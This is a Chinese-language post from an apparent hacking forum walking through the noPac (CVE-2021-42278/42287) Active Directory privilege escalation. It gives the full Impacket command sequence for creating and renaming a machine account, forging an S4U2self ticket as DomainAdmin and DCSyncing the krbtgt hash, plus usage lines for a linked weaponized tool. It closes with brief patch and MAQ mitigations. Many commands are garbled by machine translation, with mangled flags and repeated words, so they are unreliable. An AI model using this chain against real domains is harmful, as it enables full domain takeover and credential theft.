H

sAMAccountName spoofing

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

SAM-AccountName spoofing​

1 背景​

在2021年11月,CVE-2021-42278 CVE-2021-42287暴露了两个漏洞。这两个漏洞的结合可能会导致域中普通用户在域管理权限中的权限提升。

1.1 CVE-2021-42278​

Windows域中的机器帐户的名称以$结束,但DC未验证机器帐户名称。与CVE-2021-42287结合使用,它允许攻击者模仿域控制器帐户。

1.2 CVE-2021-42287​

在Kerberos身份验证过程中,用户需要访问服务,并且在获得服务票务ST之前,他们需要申请TGT票。此漏洞的核心是,当KDC找不到请求的服务票证ST时,KDC将自动添加$并再次搜索。
如果用户A被应用于TGT,则删除用户A或重命名用户A。并将TGT使用s4u2 selfs向他自己索取ST作为另一个用户,从而导致KDC在帐户数据库中寻找$。如果帐户a $存在,那么A将获得与其他用户一样的服务票。
因此,机器帐户被重命名为与DC机器帐户相同的,然后申请TGT,然后修改用户名,以便在TGS_REP期间无法找到该帐户。目前,它将使用自己的钥匙来加密服务票证ST,然后获得高授权的ST。

1.3 sAMAccountName​

根据微软官方文档的定义:
SAM-ACCOUNT-NAME用于支持客户端和服务器的登录名称,以及运行较早的操作系统版本,例如Windows NT 4.0,Windows 95,Windows 98和LAN Manager。实际上,它以“域\ logonname”的形式命名。
ldap-display-name是:samaccountname。因此,此组合漏洞也称为:samaccountname spoofing
这里还有一个用户名属性,这是在域环境中常用的一个:UPN
userPrincipalName属性是用户的登录名。该属性由UPN(用户主体)制成,该属性是用户登录的最常见的Windows名称。用户通常使用其UPN登录到域。
UPN由UPN前缀(用户帐户名)和UPN后缀(DNS域名)组成。前缀和后缀由@符号连接。 UPN必须在森林的所有安全主要物体中保持独特。这意味着可以重复使用UPN的前缀,只是不能使用相同的后缀。
例如:
域名:pentest.lab
Sam-Account-Name:Win11user
NetBios登录名:pentest.lab \ win11user
用户principalname:[email protected]
202112171553067.png-water_print

1.4 SAM-Account-Type​

SAM-ACCOUNT-TYPE包含有关域内帐户类型对象的信息。您可以列举帐户类型的列表,也可以使用Show信息API创建列表。因为计算机,常规用户帐户和信任帐户也可以列举为用户对象。

2 漏洞复现​

先决条件:您需要具有属性samaccountname和serviceprincipalname的写入权限。由于默认情况下,由于MAQ功能,该域中的普通用户可以创建10个机器帐户,并且创建者对机器帐户具有写入权限,因此可以更改这两个属性。
首先创建一个机器帐户,使用AddComputer.py或Impacket的PowerMad
技能
AddComputer.py是使用SAMR协议创建一个机器帐户。该方法创建的机器帐户没有SPN,因此无需清除。
然后清除机器帐户的ServicePrincipalname属性
将机器帐户的samAccountname更改为DC机器帐户的名称,请注意后缀不包含$
请求机器帐户TGT
将机器帐户的samaccountname更改为另一个名称,并且不要使用步骤3重复。
通过S4U2自助协议从DC请求ST
DCSYNC
步骤如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#0。创建一个计算机帐户
addComputer.py -computer -name'controledComputer $'-computer -pass'ComputerPassword'-dc -host DC01 -Domain -netbios域'domain'domain'domain.local/user1:complexpassword'''
#1。清除其SPNS
addspn.py -u'domain \ user'-p'密码'-t'controledComputer $'-c domainController
#2。重命名计算机(计算机-DC)
renamemachine.py -current -name'controtedComputer $'-new -name'domainController'-dc -ip'domainController.domain.domain.local''domain.local''/'user':'password
#3。获得TGT
gettgt.py -dc -ip'domainController.domain.local''domain.local'/'domainController':'ComputerPassword'
#4。重置计算机名称
renamemachine.py -current -name'domainController'-new -name'controledComputer $'''domain.local'/'user':'Password'
#5。通过介绍先前的TGT获得S4U2自己的服务票
KRB5CCNAME='DOMAINCONTROLLER.CCACHE'getst.py -self -Impersonate'DomainAdmin'-SPN'cifs/domainController.domain.local.local'-K -NO -PASS -DC -DC -dc -ip'domainController.domainController.domain.local.local.local.local
#6。DCSYNC通过呈现服务票
krb5ccname='domainAdmin.ccach'secretsdump.py -just -dc -user'krbtgt'-K -no -pass -dc -dc -ip'domaincontroller.domain.local' @
武器化工具地址:https://github.com/cube0x0/nopac
扫描:nopac.exe扫描-Domain Pentest.lab -user win11user -pass p@ssword
202112122016658.png-water_print

使用:
nopac.exe扫描-Domain pentest.lab -user win11user -pass p@sword /dc dc dc.pentest。 LAB /MACCOUNT DEMOL /MPASSWORD PASS123! /服务CIFS /PTT
202112122016522.png-water_print

检查内存中的门票,并找到DC中已经存在的CIFS服务门票:
202112122017939.png-water_print

202112122017582.png-water_print

DCSYNC:
202112122018112.png-water_print

3 缓解措施​

Microsoft已正式推出了补丁:KB5008602,KB5008380
通过域控制的ADSI编辑器工具将AD域的MAQ配置为0,从而中断了此漏洞的剥削链(但是,如果当前用户具有通用,通用和WriteProperty在域中的机器帐户上的WriteProperty权限,您仍然可以修改SamaccoutCountName属性)。特定查询方法如下:
1
2
3
4
5
#列出所有机器帐户
Get -Adcomputer -filter * -property * |格式表名称,操作系统,OperatingSystemServicePack,OperatingSystemversion -Wrap -Auto
#权限查询
get -domainObjectAcl controtedComputer -resolveGuids |?{$_。SecurityDistendifier-eq(get -domainuser win11user).ObjectSID}
202112171648030.png-water_print

202112171648542.png-water_print

参考​

 
后退
顶部